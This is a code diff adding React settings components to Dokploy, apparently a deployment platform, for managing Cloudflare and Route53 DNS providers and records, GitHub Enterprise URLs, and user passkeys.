+															{label}
+														</div>
+													</SelectItem>
+												);
+											})}
+										</SelectContent>
+									</Select>
+									<FormMessage />
+								</FormItem>
+							)}
+						/>
+
+						{providerType === "cloudflare" && (
+							<FormField
+								control={form.control}
+								name="apiToken"
+								render={({ field }) => (
+									<FormItem>
+										<FormLabel>API Token</FormLabel>
+										<FormControl>
+											<Input type="password" {...field} />
+										</FormControl>
+										<FormDescription>
+											Create a token scoped to Zone → DNS → Edit for the zones
+											you want Dokploy to manage. Avoid the Global API Key.
+										</FormDescription>
+										<FormMessage />
+									</FormItem>
+								)}
+							/>
+						)}
+
+						{providerType === "route53" && (
+							<>
+								<FormField
+									control={form.control}
+									name="accessKeyId"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Access Key ID</FormLabel>
+											<FormControl>
+												<Input {...field} />
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<FormField
+									control={form.control}
+									name="secretAccessKey"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Secret Access Key</FormLabel>
+											<FormControl>
+												<Input type="password" {...field} />
+											</FormControl>
+											<FormDescription>
+												Use an IAM user/role scoped to{" "}
+												<code>route53:ListHostedZones</code>,{" "}
+												<code>route53:ListResourceRecordSets</code> and{" "}
+												<code>route53:ChangeResourceRecordSets</code> — avoid
+												root account credentials.
+											</FormDescription>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+							</>
+						)}
+
+						<DialogFooter className="flex w-full flex-row justify-between gap-2 sm:justify-between">
+							<Button
+								type="button"
+								variant="secondary"
+								isLoading={isTesting}
+								onClick={onTestConnection}
+							>
+								Test Connection
+							</Button>
+							<Button type="submit" isLoading={isPending}>
+								{dnsProviderId ? "Update" : "Create"}
+							</Button>
+						</DialogFooter>
+					</form>
+				</Form>
+			</DialogContent>
+		</Dialog>
+	);
+};

apps/dokploy/components/dashboard/settings/dns/handle-dns-record.tsx

@@ -0,0 +1,271 @@
+import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
+import { PenBoxIcon, PlusIcon } from "lucide-react";
+import { useState } from "react";
+import { useForm } from "react-hook-form";
+import { toast } from "sonner";
+import { z } from "zod";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { Button } from "@/components/ui/button";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogFooter,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import {
+	Form,
+	FormControl,
+	FormDescription,
+	FormField,
+	FormItem,
+	FormLabel,
+	FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import { api } from "@/utils/api";
+
+const DnsRecordSchema = z.object({
+	type: z.enum(["A", "CNAME"]),
+	name: z.string().min(1, { message: "Name is required" }),
+	content: z.string().min(1, { message: "Content is required" }),
+	ttl: z.string(),
+});
+
+type DnsRecordForm = z.infer<typeof DnsRecordSchema>;
+
+interface DnsRecordValue {
+	id: string;
+	type: string;
+	name: string;
+	content: string;
+	ttl: number;
+}
+
+interface Props {
+	dnsProviderId: string;
+	zoneId: string;
+	zoneName: string;
+	record?: DnsRecordValue;
+}
+
+export const HandleDnsRecord = ({
+	dnsProviderId,
+	zoneId,
+	zoneName,
+	record,
+}: Props) => {
+	const utils = api.useUtils();
+	const [isOpen, setIsOpen] = useState(false);
+
+	const { mutateAsync, isPending, error, isError } = record
+		? api.dnsProvider.updateRecord.useMutation()
+		: api.dnsProvider.createRecord.useMutation();
+
+	const { data: servers } = api.server.all.useQuery(undefined, {
+		enabled: isOpen,
+	});
+	const { data: panelPublicIp } = api.server.publicIp.useQuery(undefined, {
+		enabled: isOpen,
+	});
+	const { data: panelStoredIp } = api.settings.getIp.useQuery(undefined, {
+		enabled: isOpen,
+	});
+
+	const panelIp = panelPublicIp || panelStoredIp;
+	const ipSuggestions = [
+		...(panelIp ? [{ ip: panelIp, label: "This Dokploy server" }] : []),
+		...(servers ?? []).map((server) => ({
+			ip: server.ipAddress,
+			label: server.name,
+		})),
+	].filter(
+		(suggestion, index, all) =>
+			!!suggestion.ip && all.findIndex((s) => s.ip === suggestion.ip) === index,
+	);
+
+	const form = useForm<DnsRecordForm>({
+		defaultValues: record
+			? {
+					type: record.type === "CNAME" ? "CNAME" : "A",
+					name: record.name,
+					content: record.content,
+					ttl: record.ttl && record.ttl !== 1 ? String(record.ttl) : "",
+				}
+			: { type: "A", name: "", content: "", ttl: "" },
+		resolver: zodResolver(DnsRecordSchema),
+	});
+
+	const type = form.watch("type");
+
+	const onSubmit = async (data: DnsRecordForm) => {
+		const name = data.name.trim() === "@" ? zoneName : data.name;
+		const payload = {
+			dnsProviderId,
+			zoneId,
+			type: data.type,
+			name,
+			content: data.content,
+			ttl: data.ttl ? Number(data.ttl) : undefined,
+			...(record && { recordId: record.id }),
+		};
+		await mutateAsync(payload as any)
+			.then(() => {
+				toast.success(record ? "Record updated" : "Record created");
+				utils.dnsProvider.listRecords.invalidate({ dnsProviderId, zoneId });
+				setIsOpen(false);
+			})
+			.catch(() => {});
+	};
+
+	return (
+		<Dialog open={isOpen} onOpenChange={setIsOpen}>
+			<DialogTrigger asChild>
+				{record ? (
+					<Button
+						variant="ghost"
+						size="icon"
+						className="group hover:bg-blue-500/10 size-6"
+					>
+						<PenBoxIcon className="size-3.5 text-primary group-hover:text-blue-500" />
+					</Button>
+				) : (
+					<Button variant="outline" size="sm">
+						<PlusIcon className="size-3.5 mr-1.5" />
+						Add Record
+					</Button>
+				)}
+			</DialogTrigger>
+			<DialogContent className="sm:max-w-md">
+				<DialogHeader>
+					<DialogTitle>{record ? "Edit Record" : "Add Record"}</DialogTitle>
+					<DialogDescription>
+						{record
+							? "Update this DNS record."
+							: "Create a new A or CNAME record in this zone."}
+					</DialogDescription>
+				</DialogHeader>
+				{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
+				<Form {...form}>
+					<form
+						onSubmit={form.handleSubmit(onSubmit)}
+						className="grid w-full gap-4"
+					>
+						<FormField
+							control={form.control}
+							name="type"
+							render={({ field }) => (
+								<FormItem>
+									<FormLabel>Type</FormLabel>
+									<Select onValueChange={field.onChange} value={field.value}>
+										<FormControl>
+											<SelectTrigger>
+												<SelectValue />
+											</SelectTrigger>
+										</FormControl>
+										<SelectContent>
+											<SelectItem value="A">A</SelectItem>
+											<SelectItem value="CNAME">CNAME</SelectItem>
+										</SelectContent>
+									</Select>
+									<FormMessage />
+								</FormItem>
+							)}
+						/>
+						<FormField
+							control={form.control}
+							name="name"
+							render={({ field }) => (
+								<FormItem>
+									<FormLabel>Name</FormLabel>
+									<FormControl>
+										<Input placeholder="app.example.com" {...field} />
+									</FormControl>
+									<FormDescription>
+										Use <code>@</code> for the root domain.
+									</FormDescription>
+									<FormMessage />
+								</FormItem>
+							)}
+						/>
+						{type === "A" && ipSuggestions.length > 0 && (
+							<FormItem>
+								<FormLabel>Fill from server (optional)</FormLabel>
+								<Select
+									onValueChange={(ip) =>
+										form.setValue("content", ip, { shouldValidate: true })
+									}
+								>
+									<FormControl>
+										<SelectTrigger>
+											<SelectValue placeholder="Select a server" />
+										</SelectTrigger>
+									</FormControl>
+									<SelectContent>
+										{ipSuggestions.map((suggestion) => (
+											<SelectItem key={suggestion.ip} value={suggestion.ip}>
+												<div className="flex flex-row items-center gap-2">
+													<span>{suggestion.label}</span>
+													<span className="text-xs text-muted-foreground">
+														{suggestion.ip}
+													</span>
+												</div>
+											</SelectItem>
+										))}
+									</SelectContent>
+								</Select>
+							</FormItem>
+						)}
+						<FormField
+							control={form.control}
+							name="content"
+							render={({ field }) => (
+								<FormItem>
+									<FormLabel>
+										{type === "A" ? "IPv4 Address" : "Target"}
+									</FormLabel>
+									<FormControl>
+										<Input
+											placeholder={
+												type === "A" ? "203.0.113.10" : "app.example.com"
+											}
+											{...field}
+										/>
+									</FormControl>
+									<FormMessage />
+								</FormItem>
+							)}
+						/>
+						<FormField
+							control={form.control}
+							name="ttl"
+							render={({ field }) => (
+								<FormItem>
+									<FormLabel>TTL (optional)</FormLabel>
+									<FormControl>
+										<Input type="number" placeholder="Auto" {...field} />
+									</FormControl>
+									<FormMessage />
+								</FormItem>
+							)}
+						/>
+						<DialogFooter>
+							<Button type="submit" isLoading={isPending}>
+								{record ? "Update" : "Create"}
+							</Button>
+						</DialogFooter>
+					</form>
+				</Form>
+			</DialogContent>
+		</Dialog>
+	);
+};

apps/dokploy/components/dashboard/settings/dns/show-dns-provider-zones.tsx

@@ -0,0 +1,218 @@
+import {
+	ChevronDown,
+	ChevronRight,
+	Globe,
+	Loader2,
+	Trash2,
+} from "lucide-react";
+import { useState } from "react";
+import { toast } from "sonner";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import { api } from "@/utils/api";
+import { HandleDnsRecord } from "./handle-dns-record";
+
+interface ZoneRecordsProps {
+	dnsProviderId: string;
+	zoneId: string;
+	zoneName: string;
+}
+
+const ZoneRecords = ({ dnsProviderId, zoneId, zoneName }: ZoneRecordsProps) => {
+	const utils = api.useUtils();
+	const { data, isLoading, isError, error } =
+		api.dnsProvider.listRecords.useQuery({ dnsProviderId, zoneId });
+	const { data: permissions } = api.user.getPermissions.useQuery();
+	const { mutateAsync: deleteRecord, isPending: isDeleting } =
+		api.dnsProvider.deleteRecord.useMutation();
+
+	const canWrite = !!permissions?.dnsProvider.update;
+	const canDelete = !!permissions?.dnsProvider.delete;
+
+	return (
+		<div className="flex flex-col gap-1 pl-8 pb-2 pr-3">
+			{isLoading && (
+				<div className="flex flex-row gap-2 items-center text-sm text-muted-foreground py-3">
+					<span>Loading records...</span>
+					<Loader2 className="animate-spin size-4" />
+				</div>
+			)}
+			{isError && (
+				<p className="text-sm text-destructive py-2">{error?.message}</p>
+			)}
+			{data && data.length === 0 && (
+				<p className="text-sm text-muted-foreground py-2">
+					No records found in this zone.
+				</p>
+			)}
+			{data?.map((record) => {
+				const isEditable = record.type === "A" || record.type === "CNAME";
+				return (
+					<div
+						key={record.id}
+						className="flex items-center gap-2 rounded-md border px-3 py-1.5 text-xs"
+					>
+						<Badge variant="outline" className="shrink-0">
+							{record.type}
+						</Badge>
+						<span className="font-medium truncate">{record.name}</span>
+						<span className="text-muted-foreground truncate flex-1">
+							→ {record.content}
+						</span>
+						{canWrite && isEditable && (
+							<HandleDnsRecord
+								dnsProviderId={dnsProviderId}
+								zoneId={zoneId}
+								zoneName={zoneName}
+								record={record}
+							/>
+						)}
+						{canDelete && (
+							<DialogAction
+								title="Delete Record"
+								description={`Delete the ${record.type} record "${record.name}"? This removes it from the DNS provider, not just from Dokploy.`}
+								type="destructive"
+								onClick={async () => {
+									await deleteRecord({
+										dnsProviderId,
+										zoneId,
+										recordId: record.id,
+									})
+										.then(() => {
+											toast.success("Record deleted");
+											utils.dnsProvider.listRecords.invalidate({
+												dnsProviderId,
+												zoneId,
+											});
+										})
+										.catch(() => {
+											toast.error("Error deleting the record");
+										});
+								}}
+							>
+								<Button
+									variant="ghost"
+									size="icon"
+									className="group hover:bg-red-500/10 size-6"
+									isLoading={isDeleting}
+								>
+									<Trash2 className="size-3.5 text-primary group-hover:text-red-500" />
+								</Button>
+							</DialogAction>
+						)}
+					</div>
+				);
+			})}
+			{canWrite && (
+				<div className="pt-1">
+					<HandleDnsRecord
+						dnsProviderId={dnsProviderId}
+						zoneId={zoneId}
+						zoneName={zoneName}
+					/>
+				</div>
+			)}
+		</div>
+	);
+};
+
+interface Props {
+	dnsProviderId: string;
+	providerName: string;
+}
+
+export const ShowDnsProviderZones = ({
+	dnsProviderId,
+	providerName,
+}: Props) => {
+	const [isOpen, setIsOpen] = useState(false);
+	const [expandedZoneId, setExpandedZoneId] = useState<string | null>(null);
+
+	const { data, isLoading, isError, error } =
+		api.dnsProvider.listZones.useQuery({ dnsProviderId }, { enabled: isOpen });
+
+	return (
+		<Dialog
+			open={isOpen}
+			onOpenChange={(open) => {
+				setIsOpen(open);
+				if (!open) {
+					setExpandedZoneId(null);
+				}
+			}}
+		>
+			<DialogTrigger asChild>
+				<Button variant="outline" size="sm">
+					<Globe className="size-3.5 mr-1.5" />
+					View Domains
+				</Button>
+			</DialogTrigger>
+			<DialogContent className="sm:max-w-lg">
+				<DialogHeader>
+					<DialogTitle>Domains for {providerName}</DialogTitle>
+					<DialogDescription>
+						Zones this provider's API token can manage. Click a zone to see and
+						manage its records.
+					</DialogDescription>
+				</DialogHeader>
+				{isLoading && (
+					<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground py-6">
+						<span>Loading...</span>
+						<Loader2 className="animate-spin size-4" />
+					</div>
+				)}
+				{isError && (
+					<p className="text-sm text-destructive py-2">{error?.message}</p>
+				)}
+				{data && data.length === 0 && (
+					<p className="text-sm text-muted-foreground py-2">
+						No zones found for this token. Make sure it has access to at least
+						one zone.
+					</p>
+				)}
+				{data && data.length > 0 && (
+					<div className="flex flex-col gap-1.5 max-h-[60vh] overflow-y-auto">
+						{data.map((zone) => {
+							const isExpanded = expandedZoneId === zone.id;
+							return (
+								<div key={zone.id} className="rounded-md border">
+									<button
+										type="button"
+										className="flex items-center gap-2 w-full px-3 py-2 text-sm text-left"
+										onClick={() =>
+											setExpandedZoneId(isExpanded ? null : zone.id)
+										}
+									>
+										{isExpanded ? (
+											<ChevronDown className="size-3.5 text-muted-foreground shrink-0" />
+										) : (
+											<ChevronRight className="size-3.5 text-muted-foreground shrink-0" />
+										)}
+										<Globe className="size-3.5 text-muted-foreground shrink-0" />
+										{zone.name}
+									</button>
+									{isExpanded && (
+										<ZoneRecords
+											dnsProviderId={dnsProviderId}
+											zoneId={zone.id}
+											zoneName={zone.name}
+										/>
+									)}
+								</div>
+							);
+						})}
+					</div>
+				)}
+			</DialogContent>
+		</Dialog>
+	);
+};

apps/dokploy/components/dashboard/settings/dns/show-dns-providers.tsx

@@ -0,0 +1,145 @@
+import { Globe, Loader2, Trash2 } from "lucide-react";
+import { toast } from "sonner";
+import { dnsProviderIcons } from "@/components/icons/dns-provider-icons";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Card,
+	CardContent,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import { api } from "@/utils/api";
+import { HandleDnsProvider } from "./handle-dns-provider";
+import { ShowDnsProviderZones } from "./show-dns-provider-zones";
+
+const providerLabels: Record<string, string> = {
+	cloudflare: "Cloudflare",
+	route53: "AWS Route53",
+};
+
+export const ShowDnsProviders = () => {
+	const { mutateAsync, isPending: isRemoving } =
+		api.dnsProvider.remove.useMutation();
+	const { data, isPending, refetch } = api.dnsProvider.all.useQuery();
+	const { data: permissions } = api.user.getPermissions.useQuery();
+
+	return (
+		<div className="w-full">
+			<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
+				<div className="rounded-xl bg-background shadow-md">
+					<CardHeader>
+						<CardTitle className="text-xl flex flex-row gap-2">
+							<Globe className="size-6 text-muted-foreground self-center" />
+							DNS Providers
+						</CardTitle>
+						<CardDescription>
+							Connect a DNS provider so Dokploy can create the A/CNAME record
+							for a domain instead of you setting it up by hand.
+						</CardDescription>
+					</CardHeader>
+					<CardContent className="space-y-2 py-8 border-t">
+						{isPending ? (
+							<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[25vh]">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : (
+							<>
+								{data?.length === 0 ? (
+									<div className="flex flex-col items-center gap-3 min-h-[25vh] justify-center">
+										<Globe className="size-8 self-center text-muted-foreground" />
+										<span className="text-base text-muted-foreground text-center">
+											You don't have any DNS providers configured
+										</span>
+										{permissions?.dnsProvider.create && <HandleDnsProvider />}
+									</div>
+								) : (
+									<div className="flex flex-col gap-4 min-h-[25vh]">
+										<div className="flex flex-col gap-4 rounded-lg">
+											{data?.map((provider) => {
+												const ProviderIcon =
+													dnsProviderIcons[provider.providerType];
+												return (
+													<div
+														key={provider.dnsProviderId}
+														className="flex items-center justify-between bg-sidebar p-1 w-full rounded-lg"
+													>
+														<div className="flex items-center justify-between p-3.5 rounded-lg bg-background border w-full">
+															<div className="flex flex-row items-center gap-3">
+																<ProviderIcon className="size-7 shrink-0" />
+																<div className="flex gap-2 flex-col">
+																	<span className="text-sm font-medium">
+																		{provider.name}
+																	</span>
+																	<Badge variant="outline">
+																		{providerLabels[provider.providerType] ??
+																			provider.providerType}
+																	</Badge>
+																</div>
+															</div>
+
+															<div className="flex flex-row gap-1">
+																<ShowDnsProviderZones
+																	dnsProviderId={provider.dnsProviderId}
+																	providerName={provider.name}
+																/>
+																{permissions?.dnsProvider.update && (
+																	<HandleDnsProvider
+																		dnsProviderId={provider.dnsProviderId}
+																	/>
+																)}
+																{permissions?.dnsProvider.delete && (
+																	<DialogAction
+																		title="Delete DNS Provider"
+																		description="Domains that rely on this provider to manage their records will need to be updated manually. Are you sure?"
+																		type="destructive"
+																		onClick={async () => {
+																			await mutateAsync({
+																				dnsProviderId: provider.dnsProviderId,
+																			})
+																				.then(() => {
+																					toast.success("DNS provider deleted");
+																					refetch();
+																				})
+																				.catch(() => {
+																					toast.error(
+																						"Error deleting the DNS provider",
+																					);
+																				});
+																		}}
+																	>
+																		<Button
+																			variant="ghost"
+																			size="icon"
+																			className="group hover:bg-red-500/10"
+																			isLoading={isRemoving}
+																		>
+																			<Trash2 className="size-4 text-primary group-hover:text-red-500" />
+																		</Button>
+																	</DialogAction>
+																)}
+															</div>
+														</div>
+													</div>
+												);
+											})}
+										</div>
+
+										{permissions?.dnsProvider.create && (
+											<div className="flex flex-row gap-2 flex-wrap w-full justify-end mr-4">
+												<HandleDnsProvider />
+											</div>
+										)}
+									</div>
+								)}
+							</>
+						)}
+					</CardContent>
+				</div>
+			</Card>
+		</div>
+	);
+};

apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx

@@ -13,6 +13,7 @@ import {
 import { Input } from "@/components/ui/input";
 import { Switch } from "@/components/ui/switch";
 import { api } from "@/utils/api";
+import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
 
 export const AddGithubProvider = () => {
 	const [isOpen, setIsOpen] = useState(false);
@@ -23,6 +24,9 @@ export const AddGithubProvider = () => {
 	const [manifest, setManifest] = useState("");
 	const [isOrganization, setIsOrganization] = useState(false);
 	const [organizationName, setOrganization] = useState("");
+	const [githubUrl, setGithubUrl] = useState(DEFAULT_GITHUB_URL);
+
+	const { baseUrl, error: githubUrlError } = resolveGithubBaseUrl(githubUrl);
 
 	const randomString = () => Math.random().toString(36).slice(2, 8);
 
@@ -30,7 +34,7 @@ export const AddGithubProvider = () => {
 		const url = document.location.origin;
 		const manifest = JSON.stringify(
 			{
-				redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}`,
+				redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}&githubUrl=${encodeURIComponent(baseUrl)}`,
 				name: `Dokploy-${format(new Date(), "yyyy-MM-dd")}-${randomString()}`,
 				url: origin,
 				hook_attributes: {
@@ -52,7 +56,7 @@ export const AddGithubProvider = () => {
 		);
 
 		setManifest(manifest);
-	}, [activeOrganization?.id, session?.user?.id]);
+	}, [activeOrganization?.id, session?.user?.id, baseUrl]);
 
 	return (
 		<Dialog open={isOpen} onOpenChange={setIsOpen}>
@@ -79,6 +83,25 @@ export const AddGithubProvider = () => {
 								below to get started.
 							</p>
 							<div className="mt-4 flex flex-col gap-4">
+								<div className="flex flex-col gap-2">
+									<span className="text-sm">GitHub URL</span>
+									<Input
+										placeholder={DEFAULT_GITHUB_URL}
+										value={githubUrl}
+										onChange={(e) => setGithubUrl(e.target.value)}
+									/>
+									<span className="text-muted-foreground text-xs">
+										Leave as is for github.com. For GitHub Enterprise, use your
+										instance URL (e.g. https://acme.ghe.com or
+										https://github.acme.com).
+									</span>
+									{githubUrlError && (
+										<span className="text-destructive text-xs">
+											{githubUrlError}
+										</span>
+									)}
+								</div>
+
 								<div className="flex flex-row gap-4">
 									<span>Organization?</span>
 									<Switch
@@ -98,8 +121,8 @@ export const AddGithubProvider = () => {
 							<form
 								action={
 									isOrganization
-										? `https://github.com/organizations/${organizationName}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
-										: `https://github.com/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
+										? `${baseUrl}/organizations/${organizationName}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
+										: `${baseUrl}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
 								}
 								method="post"
 							>
@@ -116,22 +139,25 @@ export const AddGithubProvider = () => {
 									<a
 										href={
 											isOrganization && organizationName
-												? `https://github.com/organizations/${organizationName}/settings/installations`
-												: "https://github.com/settings/installations"
+												? `${baseUrl}/organizations/${organizationName}/settings/installations`
+												: `${baseUrl}/settings/installations`
 										}
 										className={`text-muted-foreground text-sm hover:underline duration-300
 											 ${
 													isOrganization && !organizationName
 														? "pointer-events-none opacity-50"
 														: ""
-												}`}
+}`}
 										target="_blank"
 										rel="noopener noreferrer"
 									>
 										Unsure if you already have an app?
 									</a>
 									<Button
-										disabled={isOrganization && organizationName.length < 1}
+										disabled={
+											!!githubUrlError ||
+											(isOrganization && organizationName.length < 1)
+										}
 										type="submit"
 										className="self-end"
 									>

apps/dokploy/components/dashboard/settings/git/github/edit-github-provider.tsx

@@ -147,6 +147,15 @@ export const EditGithubProvider = ({ githubId }: Props) => {
 									)}
 								/>
 
+								<div className="flex flex-col gap-2">
+									<span className="text-sm font-medium">GitHub URL</span>
+									<Input value={github?.githubUrl ?? ""} readOnly />
+									<span className="text-muted-foreground text-xs">
+										Set when the app was created and not editable, the app
+										credentials belong to this instance.
+									</span>
+								</div>
+
 								<div className="flex w-full justify-between gap-4 mt-4">
 									<Button
 										type="button"

apps/dokploy/components/dashboard/settings/git/show-git-providers.tsx

@@ -33,6 +33,7 @@ import {
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
 import { api } from "@/utils/api";
+import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
 import { useUrl } from "@/utils/hooks/use-url";
 import { AddBitbucketProvider } from "./bitbucket/add-bitbucket-provider";
 import { EditBitbucketProvider } from "./bitbucket/edit-bitbucket-provider";
@@ -161,6 +162,14 @@ export const ShowGitProviders = () => {
 																		<span className="text-sm font-medium">
 																			{gitProvider.name}
 																		</span>
+																		{isGithub &&
+																			gitProvider.github?.githubUrl &&
+																			gitProvider.github.githubUrl !==
+																				DEFAULT_GITHUB_URL && (
+																				<span className="text-xs text-muted-foreground">
+																					{gitProvider.github.githubUrl}
+																				</span>
+																			)}
 																		<span className="text-xs text-muted-foreground">
 																			{formatDate(
 																				gitProvider.createdAt,

apps/dokploy/components/dashboard/settings/profile/manage-passkeys.tsx

@@ -0,0 +1,170 @@
+import { Fingerprint, Loader2, Plus, Trash2 } from "lucide-react";
+import { useState } from "react";
+import { toast } from "sonner";
+import { DateTooltip } from "@/components/shared/date-tooltip";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import { Input } from "@/components/ui/input";
+import { Label } from "@/components/ui/label";
+import { authClient } from "@/lib/auth-client";
+import { api } from "@/utils/api";
+
+export const ManagePasskeys = () => {
+	const utils = api.useUtils();
+	const [isDialogOpen, setIsDialogOpen] = useState(false);
+	const { data: passkeys, isLoading } = api.user.listPasskeys.useQuery(
+		undefined,
+		{
+			enabled: isDialogOpen,
+		},
+	);
+	const [name, setName] = useState("");
+	const [isAdding, setIsAdding] = useState(false);
+	const [deletingId, setDeletingId] = useState<string | null>(null);
+
+	const handleAddPasskey = async (e: React.FormEvent) => {
+		e.preventDefault();
+		setIsAdding(true);
+		try {
+			const result = await authClient.passkey.addPasskey({
+				name: name.trim() || undefined,
+			});
+
+			if (result?.error) {
+				toast.error(result.error.message);
+				return;
+			}
+
+			toast.success("Passkey added successfully");
+			setName("");
+			utils.user.listPasskeys.invalidate();
+		} catch {
+			toast.error("Failed to add passkey");
+		} finally {
+			setIsAdding(false);
+		}
+	};
+
+	const handleDeletePasskey = async (id: string) => {
+		setDeletingId(id);
+		try {
+			const result = await authClient.passkey.deletePasskey({ id });
+
+			if (result?.error) {
+				toast.error(result.error.message);
+				return;
+			}
+
+			toast.success("Passkey removed");
+			utils.user.listPasskeys.invalidate();
+		} catch {
+			toast.error("Failed to remove passkey");
+		} finally {
+			setDeletingId(null);
+		}
+	};
+
+	return (
+		<Dialog open={isDialogOpen} onOpenChange={setIsDialogOpen}>
+			<DialogTrigger asChild>
+				<Button variant="secondary">
+					<Fingerprint className="size-4 text-muted-foreground" />
+					Passkeys
+				</Button>
+			</DialogTrigger>
+			<DialogContent className="sm:max-w-xl">
+				<DialogHeader>
+					<DialogTitle>Passkeys</DialogTitle>
+					<DialogDescription>
+						Sign in without a password using your device's biometrics, security
+						key, or password manager.
+					</DialogDescription>
+				</DialogHeader>
+
+				<div className="space-y-4">
+					{isLoading ? (
+						<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[10vh]">
+							<span>Loading...</span>
+							<Loader2 className="animate-spin size-4" />
+						</div>
+					) : passkeys && passkeys.length > 0 ? (
+						<div className="grid gap-3">
+							{passkeys.map((passkey) => (
+								<div
+									key={passkey.id}
+									className="flex items-center justify-between gap-2 p-4 border rounded-lg"
+								>
+									<div className="flex flex-col gap-1 min-w-0">
+										<span className="font-medium flex items-center gap-2">
+											<Fingerprint className="size-4 text-muted-foreground shrink-0" />
+											<span className="truncate">
+												{passkey.name || "Unnamed passkey"}
+											</span>
+											<Badge variant="outline">
+												{passkey.deviceType === "singleDevice"
+													? "Device"
+													: "Synced"}
+											</Badge>
+										</span>
+										{passkey.createdAt && (
+											<DateTooltip
+												date={passkey.createdAt.toString()}
+												className="text-sm"
+											>
+												Added
+											</DateTooltip>
+										)}
+									</div>
+									<DialogAction
+										title="Remove this passkey?"
+										description="You will no longer be able to sign in with it. This action cannot be undone."
+										onClick={() => handleDeletePasskey(passkey.id)}
+									>
+										<Button
+											variant="ghost"
+											size="icon"
+											isLoading={deletingId === passkey.id}
+											className="text-muted-foreground hover:text-destructive"
+										>
+											<Trash2 className="size-4" />
+										</Button>
+									</DialogAction>
+								</div>
+							))}
+						</div>
+					) : (
+						<div className="flex flex-col items-center gap-2 py-6 text-sm text-muted-foreground border rounded-lg">
+							<Fingerprint className="size-6" />
+							<span>No passkeys registered yet</span>
+						</div>
+					)}
+
+					<form onSubmit={handleAddPasskey} className="flex flex-col gap-2">
+						<Label htmlFor="passkey-name">Passkey Name</Label>
+						<div className="flex gap-2">
+							<Input
+								id="passkey-name"
+								placeholder="e.g. MacBook Touch ID"
+								value={name}
+								onChange={(e) => setName(e.target.value)}
+							/>
+							<Button type="submit" isLoading={isAdding}>
+								<Plus className="size-4" />
+								Add Passkey
+							</Button>
+						</div>
+					</form>
+				</div>
+			</DialogContent>
+		</Dialog>
+	);
+};